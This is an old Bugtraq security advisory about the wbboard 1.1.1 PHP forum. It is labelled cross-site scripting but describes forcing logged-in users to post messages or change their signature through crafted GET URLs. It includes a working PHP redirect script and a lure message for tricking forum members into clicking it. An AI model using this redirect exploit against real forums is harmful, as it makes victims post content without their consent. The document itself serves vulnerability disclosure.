wbboard 1.1.1 Cross Site Scripting Vulnerability

From: SeazoN (seazon@dnestr.com)
Date: 04/13/02 

Date: Sat, 13 Apr 2002 17:48:55 +0300
From: SeazoN <seazon@dnestr.com>
To: bugtraq@securityfocus.com

wbboard 1.1.1 Cross Site Scripting Vulnerability
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Affected program : wbboard 1.1.1 is a phpBB-like PHP forum
Vendor : http://www.woltlab.de/
Vulnerability-Class : Cross Site Scripting (CSS)
OS specific : No
Problem-Type : Joke
severity : No risk

SUMMARY

1.WBBoard allowed to post messages like this:
 
   http://localhost/wbboard/reply.php?threadid=7&boardid=58&action=send&subject=check%20this%20out&message=test[IMG]http://localhost/~seazon/art/eros/236.jpg[/IMG]&signature=1

2. allowed to edit signature like this:

   http://localhost/wbboard/profile.php?mode=editsignature&send=1$preview=0&message=Take%20a%20deep%20breath,%20relax%20[IMG]http://localhost/~seazon/art/eros/236.jpg[/IMG]

IMPACT

User clicked on this link force posted your message in forum :)

EXPLOIT

1. Create a script exploit.php

exploit.php // with php U can dynamicaly redirect to the same treads & boardid (parsing $HTTP_REFERER)
<?php
        header ("Location: http://localhost/wbboard/reply.php?threadid=7&boardid=58&action=send&subject=check%20this%20out&message=test[IMG]http://localhost/~seazon/art/eros/236.jpg[/IMG]&signature=1"); /* Redirect browser*/
?>

2.Register in forum
3.Send a message like this
"Hey, I know how to exploit this forum [URL]http://host.com/exploit.php[/URL]"

SOLUTION

I dont think what it is necessary.

P.S. : I think what all main forums is exploitable for this way.
       For phpBB you must use HTTP POST method

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